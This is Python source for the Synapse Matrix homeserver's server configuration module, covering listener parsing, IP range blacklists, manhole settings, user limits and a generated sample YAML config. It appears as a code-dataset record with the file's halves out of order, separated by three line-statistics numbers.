= config.get("redaction_retention_period", "7d") if redaction_retention_period is not None: self.redaction_retention_period: Optional[int] = self.parse_duration( redaction_retention_period ) else: self.redaction_retention_period = None # How long to keep entries in the `users_ips` table. user_ips_max_age = config.get("user_ips_max_age", "28d") if user_ips_max_age is not None: self.user_ips_max_age: Optional[int] = self.parse_duration(user_ips_max_age) else: self.user_ips_max_age = None # Options to disable HS self.hs_disabled = config.get("hs_disabled", False) self.hs_disabled_message = config.get("hs_disabled_message", "") # Admin uri to direct users at should their instance become blocked # due to resource constraints self.admin_contact = config.get("admin_contact", None) ip_range_blacklist = config.get( "ip_range_blacklist", DEFAULT_IP_RANGE_BLACKLIST ) # Attempt to create an IPSet from the given ranges # Always blacklist 0.0.0.0, :: self.ip_range_blacklist = generate_ip_set( ip_range_blacklist, ["0.0.0.0", "::"], config_path=("ip_range_blacklist",) ) self.ip_range_whitelist = generate_ip_set( config.get("ip_range_whitelist", ()), config_path=("ip_range_whitelist",) ) # The federation_ip_range_blacklist is used for backwards-compatibility # and only applies to federation and identity servers. if "federation_ip_range_blacklist" in config: # Always blacklist 0.0.0.0, :: self.federation_ip_range_blacklist = generate_ip_set( config["federation_ip_range_blacklist"], ["0.0.0.0", "::"], config_path=("federation_ip_range_blacklist",), ) # 'federation_ip_range_whitelist' was never a supported configuration option. self.federation_ip_range_whitelist = None else: # No backwards-compatiblity requrired, as federation_ip_range_blacklist # is not given. Default to ip_range_blacklist and ip_range_whitelist. self.federation_ip_range_blacklist = self.ip_range_blacklist self.federation_ip_range_whitelist = self.ip_range_whitelist # (undocumented) option for torturing the worker-mode replication a bit, # for testing. The value defines the number of milliseconds to pause before # sending out any replication updates. self.replication_torture_level = config.get("replication_torture_level") # Whether to require a user to be in the room to add an alias to it. # Defaults to True. self.require_membership_for_aliases = config.get( "require_membership_for_aliases", True ) # Whether to allow per-room membership profiles through the send of membership # events with profile information that differ from the target's global profile. self.allow_per_room_profiles = config.get("allow_per_room_profiles", True) # The maximum size an avatar can have, in bytes. self.max_avatar_size = config.get("max_avatar_size") if self.max_avatar_size is not None: self.max_avatar_size = self.parse_size(self.max_avatar_size) # The MIME types allowed for an avatar. self.allowed_avatar_mimetypes = config.get("allowed_avatar_mimetypes") if self.allowed_avatar_mimetypes and not isinstance( self.allowed_avatar_mimetypes, list, ): raise ConfigError("allowed_avatar_mimetypes must be a list") self.listeners = [parse_listener_def(x) for x in config.get("listeners", [])] # no_tls is not really supported any more, but let's grandfather it in # here. if config.get("no_tls", False): l2 = [] for listener in self.listeners: if listener.tls: logger.info( "Ignoring TLS-enabled listener on port %i due to no_tls", listener.port, ) else: l2.append(listener) self.listeners = l2 self.web_client_location = config.get("web_client_location", None) # Non-HTTP(S) web client location is not supported. if self.web_client_location and not ( self.web_client_location.startswith("http://") or self.web_client_location.startswith("https://") ): raise ConfigError("web_client_location must point to a HTTP(S) URL.") self.gc_thresholds = read_gc_thresholds(config.get("gc_thresholds", None)) self.gc_seconds = self.read_gc_intervals(config.get("gc_min_interval", None)) self.limit_remote_rooms = LimitRemoteRoomsConfig( **(config.get("limit_remote_rooms") or {}) ) bind_port = config.get("bind_port") if bind_port: if config.get("no_tls", False): raise ConfigError("no_tls is incompatible with bind_port") self.listeners = [] bind_host = config.get("bind_host", "") gzip_responses = config.get("gzip_responses", True) http_options = HttpListenerConfig( resources=[ HttpResourceConfig(names=["client"], compress=gzip_responses), HttpResourceConfig(names=["federation"]), ], ) self.listeners.append( ListenerConfig( port=bind_port, bind_addresses=[bind_host], tls=True, type="http", http_options=http_options, ) ) unsecure_port = config.get("unsecure_port", bind_port - 400) if unsecure_port: self.listeners.append( ListenerConfig( port=unsecure_port, bind_addresses=[bind_host], tls=False, type="http", http_options=http_options, ) ) manhole = config.get("manhole") if manhole: self.listeners.append( ListenerConfig( port=manhole, bind_addresses=["127.0.0.1"], type="manhole", ) ) manhole_settings = config.get("manhole_settings") or {} validate_config( _MANHOLE_SETTINGS_SCHEMA, manhole_settings, ("manhole_settings",) ) manhole_username = manhole_settings.get("username", "matrix") manhole_password = manhole_settings.get("password", "rabbithole") manhole_priv_key_path = manhole_settings.get("ssh_priv_key_path") manhole_pub_key_path = manhole_settings.get("ssh_pub_key_path") manhole_priv_key = None if manhole_priv_key_path is not None: try: manhole_priv_key = Key.fromFile(manhole_priv_key_path) except Exception as e: raise ConfigError( f"Failed to read manhole private key file {manhole_priv_key_path}" ) from e manhole_pub_key = None if manhole_pub_key_path is not None: try: manhole_pub_key = Key.fromFile(manhole_pub_key_path) except Exception as e: raise ConfigError( f"Failed to read manhole public key file {manhole_pub_key_path}" ) from e self.manhole_settings = ManholeConfig( username=manhole_username, password=manhole_password, priv_key=manhole_priv_key, pub_key=manhole_pub_key, ) metrics_port = config.get("metrics_port") if metrics_port: logger.warning(METRICS_PORT_WARNING) self.listeners.append( ListenerConfig( port=metrics_port, bind_addresses=[config.get("metrics_bind_host", "127.0.0.1")], type="http", http_options=HttpListenerConfig( resources=[HttpResourceConfig(names=["metrics"])] ), ) ) self.cleanup_extremities_with_dummy_events = config.get( "cleanup_extremities_with_dummy_events", True ) # The number of forward extremities in a room needed to send a dummy event. self.dummy_events_threshold = config.get("dummy_events_threshold", 10) self.enable_ephemeral_messages = config.get("enable_ephemeral_messages", False) # Inhibits the /requestToken endpoints from returning an error that might leak # information about whether an e-mail address is in use or not on this # homeserver, and instead return a 200 with a fake sid if this kind of error is # met, without sending anything. # This is a compromise between sending an email, which could be a spam vector, # and letting the client know which email address is bound to an account and # which one isn't. self.request_token_inhibit_3pid_errors = config.get( "request_token_inhibit_3pid_errors", False, ) # Whitelist of domain names that given next_link parameters must have next_link_domain_whitelist: Optional[List[str]] = config.get( "next_link_domain_whitelist" ) self.next_link_domain_whitelist: Optional[Set[str]] = None if next_link_domain_whitelist is not None: if not isinstance(next_link_domain_whitelist, list): raise ConfigError("'next_link_domain_whitelist' must be a list") # Turn the list into a set to improve lookup speed. self.next_link_domain_whitelist = set(next_link_domain_whitelist) templates_config = config.get("templates") or {} if not isinstance(templates_config, dict): raise ConfigError("The 'templates' section must be a dictionary") self.custom_template_directory: Optional[str] = templates_config.get( "custom_template_directory" ) if self.custom_template_directory is not None and not isinstance( self.custom_template_directory, str ): raise ConfigError("'custom_template_directory' must be a string") self.use_account_validity_in_account_status: bool = ( config.get("use_account_validity_in_account_status") or False ) self.rooms_to_exclude_from_sync: List[str] = ( config.get("exclude_rooms_from_sync") or [] ) def has_tls_listener(self) -> bool: return any(listener.tls for listener in self.listeners) def generate_config_section( self, config_dir_path: str, data_dir_path: str, server_name: str, open_private_ports: bool, listeners: Optional[List[dict]], **kwargs: Any, ) -> str: ip_range_blacklist = "\n".join( " # - '%s'" % ip for ip in DEFAULT_IP_RANGE_BLACKLIST ) _, bind_port = parse_and_validate_server_name(server_name) if bind_port is not None: unsecure_port = bind_port - 400 else: bind_port = 8448 unsecure_port = 8008 pid_file = os.path.join(data_dir_path, "homeserver.pid") # Bring DEFAULT_ROOM_VERSION into the local-scope for use in the # default config string default_room_version = DEFAULT_ROOM_VERSION secure_listeners = [] unsecure_listeners = [] private_addresses = ["::1", "127.0.0.1"] if listeners: for listener in listeners: if listener["tls"]: secure_listeners.append(listener) else: # If we don't want open ports we need to bind the listeners # to some address other than 0.0.0.0. Here we chose to use # localhost. # If the addresses are already bound we won't overwrite them # however. if not open_private_ports: listener.setdefault("bind_addresses", private_addresses) unsecure_listeners.append(listener) secure_http_bindings = indent( yaml.dump(secure_listeners), " " * 10 ).lstrip() unsecure_http_bindings = indent( yaml.dump(unsecure_listeners), " " * 10 ).lstrip() if not unsecure_listeners: unsecure_http_bindings = ( """- port: %(unsecure_port)s tls: false type: http x_forwarded: true""" % locals() ) if not open_private_ports: unsecure_http_bindings += ( "\n bind_addresses: ['::1', '127.0.0.1']" ) unsecure_http_bindings += """ resources: - names: [client, federation] compress: false""" if listeners: # comment out this block unsecure_http_bindings = "#" + re.sub( "\n {10}", lambda match: match.group(0) + "#", unsecure_http_bindings, ) if not secure_listeners: secure_http_bindings = ( """#- port: %(bind_port)s # type: http # tls: true # resources: # - names: [client, federation]""" % locals() ) return ( """\ ## Server ## # The public-facing domain of the server # # The server_name name will appear at the end of usernames and room addresses # created on this server. For example if the server_name was example.com, # usernames on this server would be in the format @user:example.com # # In most cases you should avoid using a matrix specific subdomain such as # matrix.example.com or synapse.example.com as the server_name for the same # reasons you wouldn't use user@email.example.com as your email address. # See https://matrix-org.github.io/synapse/latest/delegate.html # for information on how to host Synapse on a subdomain while preserving # a clean server_name. # # The server_name cannot be changed later so it is important to # configure this correctly before you start Synapse. It should be all # lowercase and may contain an explicit port. # Examples: matrix.org, localhost:8080 # server_name: "%(server_name)s" # When running as a daemon, the file to store the pid in # pid_file: %(pid_file)s # The absolute URL to the web client which / will redirect to. # #web_client_location: https://riot.example.com/ # The public-facing base URL that clients use to access this Homeserver (not # including _matrix/...). This is the same URL a user might enter into the # 'Custom Homeserver URL' field on their client. If you use Synapse with a # reverse proxy, this should be the URL to reach Synapse via the proxy. # Otherwise, it should be the URL to reach Synapse's client HTTP listener (see # 'listeners' below). # # Defaults to 'https://<server_name>/'. # #public_baseurl: https://example.com/ # Uncomment the following to tell other servers to send federation traffic on # port 443. # # By default, other servers will try to reach our server on port 8448, which can # be inconvenient in some environments. # # Provided 'https://<server_name>/' on port 443 is routed to Synapse, this # option configures Synapse to serve a file at # 'https://<server_name>/.well-known/matrix/server'. This will tell other # servers to send traffic to port 443 instead. # # See https://matrix-org.github.io/synapse/latest/delegate.html for more # information. # # Defaults to 'false'. # #serve_server_wellknown: true # Set the soft limit on the number of file descriptors synapse can use # Zero is used to indicate synapse should set the soft limit to the # hard limit. # #soft_file_limit: 0 # Presence tracking allows users to see the state (e.g online/offline) # of other local and remote users. # presence: # Uncomment to disable presence tracking on this homeserver. This option # replaces the previous top-level 'use_presence' option. # #enabled: false # Whether to require authentication to retrieve profile data (avatars, # display names) of other users through the client API. Defaults to # 'false'. Note that profile data is also available via the federation # API, unless allow_profile_lookup_over_federation is set to false. # #require_auth_for_profile_requests: true # Uncomment to require a user to share a room with another user in order # to retrieve their profile information. Only checked on Client-Server # requests. Profile requests from other servers should be checked by the # requesting server. Defaults to 'false'. # #limit_profile_requests_to_users_who_share_rooms: true # Uncomment to prevent a user's profile data from being retrieved and # displayed in a room until they have joined it. By default, a user's # profile data is included in an invite event, regardless of the values # of the above two settings, and whether or not the users share a server. # Defaults to 'true'. # #include_profile_data_on_invite: false # If set to 'true', removes the need for authentication to access the server's # public rooms directory through the client API, meaning that anyone can # query the room directory. Defaults to 'false'. # #allow_public_rooms_without_auth: true # If set to 'true', allows any other homeserver to fetch the server's public # rooms directory via federation. Defaults to 'false'. # #allow_public_rooms_over_federation: true # The default room version for newly created rooms. # # Known room versions are listed here: # https://spec.matrix.org/latest/rooms/#complete-list-of-room-versions # # For example, for room version 1, default_room_version should be set # to "1". # #default_room_version: "%(default_room_version)s" # The GC threshold parameters to pass to `gc.set_threshold`, if defined # #gc_thresholds: [700, 10, 10] # The minimum time in seconds between each GC for a generation, regardless of # the GC thresholds. This ensures that we don't do GC too frequently. # # A value of `[1s, 10s, 30s]` indicates that a second must pass between consecutive # generation 0 GCs, etc. # # Defaults to `[1s, 10s, 30s]`. # #gc_min_interval: [0.5s, 30s, 1m] # Set the limit on the returned events in the timeline in the get # and sync operations. The default value is 100. -1 means no upper limit. # # Uncomment the following to increase the limit to 5000. # #filter_timeline_limit: 5000 # Whether room invites to users on this server should be blocked # (except those sent by local server admins). The default is False. # #block_non_admin_invites: true # Room searching # # If disabled, new messages will not be indexed for searching and users # will receive errors when searching for messages. Defaults to enabled. # #enable_search: false # Prevent outgoing requests from being sent to the following blacklisted IP address # CIDR ranges. If this option is not specified then it defaults to private IP # address ranges (see the example below). # # The blacklist applies to the outbound requests for federation, identity servers, # push servers, and for checking key validity for third-party invite events. # # (0.0.0.0 and :: are always blacklisted, whether or not they are explicitly # listed here, since they correspond to unroutable addresses.) # # This option replaces federation_ip_range_blacklist in Synapse v1.25.0. # # Note: The value is ignored when an HTTP proxy is in use # #ip_range_blacklist: %(ip_range_blacklist)s # List of IP address CIDR ranges that should be allowed for federation, # identity servers, push servers, and for checking key validity for # third-party invite events. This is useful for specifying exceptions to # wide-ranging blacklisted target IP ranges - e.g. for communication with # a push server only visible in your network. # # This whitelist overrides ip_range_blacklist and defaults to an empty # list. # #ip_range_whitelist: # - '192.168.1.1' # List of ports that Synapse should listen on, their purpose and their # configuration. # # Options for each listener include: # # port: the TCP port to bind to # # bind_addresses: a list of local addresses to listen on. The default is # 'all local interfaces'. # # type: the type of listener. Normally 'http', but other valid options are: # 'manhole' (see https://matrix-org.github.io/synapse/latest/manhole.html), # 'metrics' (see https://matrix-org.github.io/synapse/latest/metrics-howto.html), # 'replication' (see https://matrix-org.github.io/synapse/latest/workers.html). # # tls: set to true to enable TLS for this listener. Will use the TLS # key/cert specified in tls_private_key_path / tls_certificate_path. # # x_forwarded: Only valid for an 'http' listener. Set to true to use the # X-Forwarded-For header as the client IP. Useful when Synapse is # behind a reverse-proxy. # # resources: Only valid for an 'http' listener. A list of resources to host # on this port. Options for each resource are: # # names: a list of names of HTTP resources. See below for a list of # valid resource names. # # compress: set to true to enable HTTP compression for this resource. # # additional_resources: Only valid for an 'http' listener. A map of # additional endpoints which should be loaded via dynamic modules. # # Valid resource names are: # # client: the client-server API (/_matrix/client), and the synapse admin # API (/_synapse/admin). Also implies 'media' and 'static'. # # consent: user consent forms (/_matrix/consent). # See https://matrix-org.github.io/synapse/latest/consent_tracking.html. # # federation: the server-server API (/_matrix/federation). Also implies # 'media', 'keys', 'openid' # # keys: the key discovery API (/_matrix/key). # # media: the media API (/_matrix/media). # # metrics: the metrics interface. # See https://matrix-org.github.io/synapse/latest/metrics-howto.html. # # openid: OpenID authentication. # # replication: the HTTP replication API (/_synapse/replication). # See https://matrix-org.github.io/synapse/latest/workers.html. # # static: static resources under synapse/static (/_matrix/static). (Mostly # useful for 'fallback authentication'.) # listeners: # TLS-enabled listener: for when matrix traffic is sent directly to synapse. # # Disabled by default. To enable it, uncomment the following. (Note that you # will also need to give Synapse a TLS key and certificate: see the TLS section # below.) # %(secure_http_bindings)s # Unsecure HTTP listener: for when matrix traffic passes through a reverse proxy # that unwraps TLS. # # If you plan to use a reverse proxy, please see # https://matrix-org.github.io/synapse/latest/reverse_proxy.html. # %(unsecure_http_bindings)s # example additional_resources: # #additional_resources: # "/_matrix/my/custom/endpoint": # module: my_module.CustomRequestHandler # config: {} # Turn on the twisted ssh manhole service on localhost on the given # port. # #- port: 9000 # bind_addresses: ['::1', '127.0.0.1'] # type: manhole # Connection settings for the manhole # manhole_settings: # The username for the manhole. This defaults to 'matrix'. # #username: manhole # The password for the manhole. This defaults to 'rabbithole'. # #password: mypassword # The private and public SSH key pair used to encrypt the manhole traffic. # If these are left unset, then hardcoded and non-secret keys are used, # which could allow traffic to be intercepted if sent over a public network. # #ssh_priv_key_path: %(config_dir_path)s/id_rsa #ssh_pub_key_path: %(config_dir_path)s/id_rsa.pub # Forward extremities can build up in a room due to networking delays between # homeservers. Once this happens in a large room, calculation of the state of # that room can become quite expensive. To mitigate this, once the number of # forward extremities reaches a given threshold, Synapse will send an # org.matrix.dummy_event event, which will reduce the forward extremities # in the room. # # This setting defines the threshold (i.e. number of forward extremities in the # room) at which dummy events are sent. The default value is 10. # #dummy_events_threshold: 5 ## Homeserver blocking ## # How to reach the server admin, used in ResourceLimitError # #admin_contact: 'mailto:admin@server.com' # Global blocking # #hs_disabled: false #hs_disabled_message: 'Human readable reason for why the HS is blocked' # Monthly Active User Blocking # # Used in cases where the admin or server owner wants to limit to the # number of monthly active users. # # 'limit_usage_by_mau' disables/enables monthly active user blocking. When # enabled and a limit is reached the server returns a 'ResourceLimitError' # with error type Codes.RESOURCE_LIMIT_EXCEEDED # # 'max_mau_value' is the hard limit of monthly active users above which # the server will start blocking user actions. # # 'mau_trial_days' is a means to add a grace period for active users. It # means that users must be active for this number of days before they # can be considered active and guards against the case where lots of users # sign up in a short space of time never to return after their initial # session. # # The option `mau_appservice_trial_days` is similar to `mau_trial_days`, but # applies a different trial number if the user was registered by an appservice. # A value of 0 means no trial days are applied. Appservices not listed in this # dictionary use the value of `mau_trial_days` instead. # # 'mau_limit_alerting' is a means of limiting client side alerting # should the mau limit be reached. This is useful for small instances # where the admin has 5 mau seats (say) for 5 specific people and no # interest increasing the mau limit further. Defaults to True, which # means that alerting is enabled # #limit_usage_by_mau: false #max_mau_value: 50 #mau_trial_days: 2 #mau_limit_alerting: false #mau_appservice_trial_days: # "appservice-id": 1 # If enabled, the metrics for the number of monthly active users will # be populated, however no one will be limited. If limit_usage_by_mau # is true, this is implied to be true. # #mau_stats_only: false # Sometimes the server admin will want to ensure certain accounts are # never blocked by mau checking. These accounts are specified here. # #mau_limit_reserved_threepids: # - medium: 'email' # address: 'reserved_user@example.com' # Used by phonehome stats to group together related servers. #server_context: context # Resource-constrained homeserver settings # # When this is enabled, the room "complexity" will be checked before a user # joins a new remote room. If it is above the complexity limit, the server will # disallow joining, or will instantly leave. # # Room complexity is an arbitrary measure based on factors such as the number of # users in the room. # limit_remote_rooms: # Uncomment to enable room complexity checking. # #enabled: true # the limit above which rooms cannot be joined. The default is 1.0. # #complexity: 0.5 # override the error which is returned when the room is too complex. # #complexity_error: "This room is too complex." # allow server admins to join complex rooms. Default is false. # #admins_can_join: true # Whether to require a user to be in the room to add an alias to it. # Defaults to 'true'. # #require_membership_for_aliases: false # Whether to allow per-room membership profiles through the send of membership # events with profile information that differ from the target's global profile. # Defaults to 'true'. # #allow_per_room_profiles: false # The largest allowed file size for a user avatar. Defaults to no restriction. # # Note that user avatar changes will not work if this is set without # using Synapse's media repository. # #max_avatar_size: 10M # The MIME types allowed for user avatars. Defaults to no restriction. # # Note that user avatar changes will not work if this is set without # using Synapse's media repository. # #allowed_avatar_mimetypes: ["image/png", "image/jpeg", "image/gif"] # How long to keep redacted events in unredacted form in the database. After # this period redacted events get replaced with their redacted form in the DB. # # Defaults to `7d`. Set to `null` to disable. # #redaction_retention_period: 28d # How long to track users' last seen time and IPs in the database. # # Defaults to `28d`. Set to `null` to disable clearing out of old rows. # #user_ips_max_age: 14d # Inhibits the /requestToken endpoints from returning an error that might leak # information about whether an e-mail address is in use or not on this # homeserver. # Note that for some endpoints the error situation is the e-mail already being # used, and for others the error is entering the e-mail being unused. # If this option is enabled, instead of returning an error, these endpoints will # act as if no error happened and return a fake session ID ('sid') to clients. # #request_token_inhibit_3pid_errors: true # A list of domains that the domain portion of 'next_link' parameters # must match. # # This parameter is optionally provided by clients while requesting # validation of an email or phone number, and maps to a link that # users will be automatically redirected to after validation # succeeds. Clients can make use this parameter to aid the validation # process. # # The whitelist is applied whether the homeserver or an # identity server is handling validation. # # The default value is no whitelist functionality; all domains are # allowed. Setting this value to an empty list will instead disallow # all domains. # #next_link_domain_whitelist: ["matrix.org"] # Templates to use when generating email or HTML page contents. # templates: # Directory in which Synapse will try to find template files to use to generate # email or HTML page contents. # If not set, or a file is not found within the template directory, a default # template from within the Synapse package will be used. # # See https://matrix-org.github.io/synapse/latest/templates.html for more # information about using custom templates. # #custom_template_directory: /path/to/custom/templates/ # List of rooms to exclude from sync responses. This is useful for server # administrators wishing to group users into a room without these users being able # to see it from their client. # # By default, no room is excluded. # #exclude_rooms_from_sync: # - !foo:example.com """ % locals() ) def read_arguments(self, args: argparse.Namespace) -> None: if args.manhole is not None: self.manhole = args.manhole if args.daemonize is not None: self.daemonize = args.daemonize if args.print_pidfile is not None: self.print_pidfile = args.print_pidfile @staticmethod def add_arguments(parser: argparse.ArgumentParser) -> None: server_group = parser.add_argument_group("server") server_group.add_argument( "-D", "--daemonize", action="store_true", default=None, help="Daemonize the homeserver", ) server_group.add_argument( "--print-pidfile", action="store_true", default=None, help="Print the path to the pidfile just before daemonizing", ) server_group.add_argument( "--manhole", metavar="PORT", dest="manhole", type=int, help="Turn on the twisted telnet manhole service on the given port.", ) def read_gc_intervals(self, durations: Any) -> Optional[Tuple[float, float, float]]: """Reads the three durations for the GC min interval option, returning seconds.""" if durations is None: return None try: if len(durations) != 3: raise ValueError() return ( self.parse_duration(durations[0]) / 1000, self.parse_duration(durations[1]) / 1000, self.parse_duration(durations[2]) / 1000, ) except Exception: raise ConfigError( "Value of `gc_min_interval` must be a list of three durations if set" ) def is_threepid_reserved( reserved_threepids: List[JsonDict], threepid: JsonDict ) -> bool: """Check the threepid against the reserved threepid config Args: reserved_threepids: List of reserved threepids threepid: The threepid to test for Returns: Is the threepid undertest reserved_user """ for tp in reserved_threepids: if threepid["medium"] == tp["medium"] and threepid["address"] == tp["address"]: return True return False def read_gc_thresholds( thresholds: Optional[List[Any]], ) -> Optional[Tuple[int, int, int]]: """Reads the three integer thresholds for garbage collection. Ensures that the thresholds are integers if thresholds are supplied. """ if thresholds is None: return None try: assert len(thresholds) == 3 return int(thresholds[0]), int(thresholds[1]), int(thresholds[2]) except Exception: raise ConfigError( "Value of `gc_threshold` must be a list of three integers if set" ) def parse_listener_def(listener: Any) -> ListenerConfig: """parse a listener config from the config file""" listener_type = listener["type"] port = listener.get("port") if not isinstance(port, int): raise ConfigError("Listener configuration is lacking a valid 'port' option") tls = listener.get("tls", False) bind_addresses = listener.get("bind_addresses", []) bind_address = listener.get("bind_address") # if bind_address was specified, add it to the list of addresses if bind_address: bind_addresses.append(bind_address) # if we still have an empty list of addresses, use the default list if not bind_addresses: if listener_type == "metrics": # the metrics listener doesn't support IPv6 bind_addresses.append("0.0.0.0") else: bind_addresses.extend(DEFAULT_BIND_ADDRESSES) http_config = None if listener_type == "http": try: resources = [ HttpResourceConfig(**res) for res in listener.get("resources", []) ] except ValueError as e: raise ConfigError("Unknown listener resource") from e http_config = HttpListenerConfig( x_forwarded=listener.get("x_forwarded", False), resources=resources, additional_resources=listener.get("additional_resources", {}), tag=listener.get("tag"), ) return ListenerConfig(port, bind_addresses, listener_type, tls, http_config) _MANHOLE_SETTINGS_SCHEMA = { "type": "object", "properties": { "username": {"type": "string"}, "password": {"type": "string"}, "ssh_priv_key_path": {"type": "string"}, "ssh_pub_key_path": {"type": "string"}, }, }
39.153515
104
0.623617
import argparse import itertools import logging import os.path import re import urllib.parse from textwrap import indent from typing import Any, Dict, Iterable, List, Optional, Set, Tuple, Union import attr import yaml from netaddr import AddrFormatError, IPNetwork, IPSet from twisted.conch.ssh.keys import Key from synapse.api.room_versions import KNOWN_ROOM_VERSIONS from synapse.types import JsonDict from synapse.util.module_loader import load_module from synapse.util.stringutils import parse_and_validate_server_name from ._base import Config, ConfigError from ._util import validate_config logger = logging.Logger(__name__) DEFAULT_BIND_ADDRESSES = ["::", "0.0.0.0"] def _6to4(network: IPNetwork) -> IPNetwork: hex_network = hex(network.first)[2:] hex_network = ("0" * (8 - len(hex_network))) + hex_network return IPNetwork( "2002:%s:%s::/%d" % ( hex_network[:4], hex_network[4:], 16 + network.prefixlen, ) ) def generate_ip_set( ip_addresses: Optional[Iterable[str]], extra_addresses: Optional[Iterable[str]] = None, config_path: Optional[Iterable[str]] = None, ) -> IPSet: result = IPSet() for ip in itertools.chain(ip_addresses or (), extra_addresses or ()): try: network = IPNetwork(ip) except AddrFormatError as e: raise ConfigError( "Invalid IP range provided: %s." % (ip,), config_path ) from e result.add(network) if ":" not in str(network): result.add(IPNetwork(network).ipv6(ipv4_compatible=True)) result.add(IPNetwork(network).ipv6(ipv4_compatible=False)) result.add(_6to4(network)) return result # IP ranges that are considered private / unroutable / don't make sense. DEFAULT_IP_RANGE_BLACKLIST = [ "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10", "192.0.0.0/24", "169.254.0.0/16", "192.88.99.0/24", "198.18.0.0/15", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "::1/128", "fe80::/10", "fc00::/7", "2001:db8::/32", "ff00::/8", "fec0::/10", ] DEFAULT_ROOM_VERSION = "9" ROOM_COMPLEXITY_TOO_GREAT = ( "Your homeserver is unable to join rooms this large or complex. " "Please speak to your server administrator, or upgrade your instance " "to join this room." ) METRICS_PORT_WARNING = """\ The metrics_port configuration option is deprecated in Synapse 0.31 in favour of a listener. Please see https://matrix-org.github.io/synapse/latest/metrics-howto.html on how to configure the new listener. --------------------------------------------------------------------------------""" KNOWN_LISTENER_TYPES = { "http", "metrics", "manhole", "replication", } KNOWN_RESOURCES = { "client", "consent", "federation", "keys", "media", "metrics", "openid", "replication", "static", } @attr.s(frozen=True) class HttpResourceConfig: names: List[str] = attr.ib( factory=list, validator=attr.validators.deep_iterable(attr.validators.in_(KNOWN_RESOURCES)), ) compress: bool = attr.ib( default=False, validator=attr.validators.optional(attr.validators.instance_of(bool)), ) @attr.s(slots=True, frozen=True, auto_attribs=True) class HttpListenerConfig: x_forwarded: bool = False resources: List[HttpResourceConfig] = attr.Factory(list) additional_resources: Dict[str, dict] = attr.Factory(dict) tag: Optional[str] = None @attr.s(slots=True, frozen=True, auto_attribs=True) class ListenerConfig: port: int = attr.ib(validator=attr.validators.instance_of(int)) bind_addresses: List[str] type: str = attr.ib(validator=attr.validators.in_(KNOWN_LISTENER_TYPES)) tls: bool = False http_options: Optional[HttpListenerConfig] = None @attr.s(slots=True, frozen=True, auto_attribs=True) class ManholeConfig: username: str = attr.ib(validator=attr.validators.instance_of(str)) password: str = attr.ib(validator=attr.validators.instance_of(str)) priv_key: Optional[Key] pub_key: Optional[Key] @attr.s(frozen=True) class LimitRemoteRoomsConfig: enabled: bool = attr.ib(validator=attr.validators.instance_of(bool), default=False) complexity: Union[float, int] = attr.ib( validator=attr.validators.instance_of((float, int)), default=1.0, ) complexity_error: str = attr.ib( validator=attr.validators.instance_of(str), default=ROOM_COMPLEXITY_TOO_GREAT, ) admins_can_join: bool = attr.ib( validator=attr.validators.instance_of(bool), default=False ) class ServerConfig(Config): section = "server" def read_config(self, config: JsonDict, **kwargs: Any) -> None: self.server_name = config["server_name"] self.server_context = config.get("server_context", None) try: parse_and_validate_server_name(self.server_name) except ValueError as e: raise ConfigError(str(e)) self.pid_file = self.abspath(config.get("pid_file")) self.soft_file_limit = config.get("soft_file_limit", 0) self.daemonize = bool(config.get("daemonize")) self.print_pidfile = bool(config.get("print_pidfile")) self.user_agent_suffix = config.get("user_agent_suffix") self.use_frozen_dicts = config.get("use_frozen_dicts", False) self.serve_server_wellknown = config.get("serve_server_wellknown", False) # to a completely broken URL. self.serve_client_wellknown = False public_baseurl = config.get("public_baseurl") if public_baseurl is None: public_baseurl = f"https://{self.server_name}/" logger.info("Using default public_baseurl %s", public_baseurl) else: self.serve_client_wellknown = True if public_baseurl[-1] != "/": public_baseurl += "/" self.public_baseurl = public_baseurl # check that public_baseurl is valid try: splits = urllib.parse.urlsplit(self.public_baseurl) except Exception as e: raise ConfigError(f"Unable to parse URL: {e}", ("public_baseurl",)) if splits.scheme not in ("https", "http"): raise ConfigError( f"Invalid scheme '{splits.scheme}': only https and http are supported" ) if splits.query or splits.fragment: raise ConfigError( "public_baseurl cannot contain query parameters or a #-fragment" ) # Whether to enable user presence. presence_config = config.get("presence") or {} self.use_presence = presence_config.get("enabled") if self.use_presence is None: self.use_presence = config.get("use_presence", True) # Custom presence router module # This is the legacy way of configuring it (the config should now be put in the modules section) self.presence_router_module_class = None self.presence_router_config = None presence_router_config = presence_config.get("presence_router") if presence_router_config: ( self.presence_router_module_class, self.presence_router_config, ) = load_module(presence_router_config, ("presence", "presence_router")) # whether to enable the media repository endpoints. This should be set # to false if the media repository is running as a separate endpoint; # doing so ensures that we will not run cache cleanup jobs on the # master, potentially causing inconsistency. self.enable_media_repo = config.get("enable_media_repo", True) # Whether to require authentication to retrieve profile data (avatars, # display names) of other users through the client API. self.require_auth_for_profile_requests = config.get( "require_auth_for_profile_requests", False ) # Whether to require sharing a room with a user to retrieve their # profile data self.limit_profile_requests_to_users_who_share_rooms = config.get( "limit_profile_requests_to_users_who_share_rooms", False, ) # Whether to retrieve and display profile data for a user when they # are invited to a room self.include_profile_data_on_invite = config.get( "include_profile_data_on_invite", True ) if "restrict_public_rooms_to_local_users" in config and ( "allow_public_rooms_without_auth" in config or "allow_public_rooms_over_federation" in config ): raise ConfigError( "Can't use 'restrict_public_rooms_to_local_users' if" " 'allow_public_rooms_without_auth' and/or" " 'allow_public_rooms_over_federation' is set." ) if config.get("restrict_public_rooms_to_local_users", False): self.allow_public_rooms_without_auth = False self.allow_public_rooms_over_federation = False else: # public rooms directory through the client API, meaning that anyone can # query the room directory. Defaults to 'false'. self.allow_public_rooms_without_auth = config.get( "allow_public_rooms_without_auth", False ) # If set to 'true', allows any other homeserver to fetch the server's public self.allow_public_rooms_over_federation = config.get( "allow_public_rooms_over_federation", False ) default_room_version = config.get("default_room_version", DEFAULT_ROOM_VERSION) default_room_version = str(default_room_version) if default_room_version not in KNOWN_ROOM_VERSIONS: raise ConfigError( "Unknown default_room_version: %s, known room versions: %s" % (default_room_version, list(KNOWN_ROOM_VERSIONS.keys())) ) self.default_room_version = KNOWN_ROOM_VERSIONS[default_room_version] self.enable_search = config.get("enable_search", True) self.filter_timeline_limit = config.get("filter_timeline_limit", 100) self.block_non_admin_invites = config.get("block_non_admin_invites", False) self.limit_usage_by_mau = config.get("limit_usage_by_mau", False) self.max_mau_value = 0 if self.limit_usage_by_mau: self.max_mau_value = config.get("max_mau_value", 0) self.mau_stats_only = config.get("mau_stats_only", False) self.mau_limits_reserved_threepids = config.get( "mau_limit_reserved_threepids", [] ) self.mau_trial_days = config.get("mau_trial_days", 0) 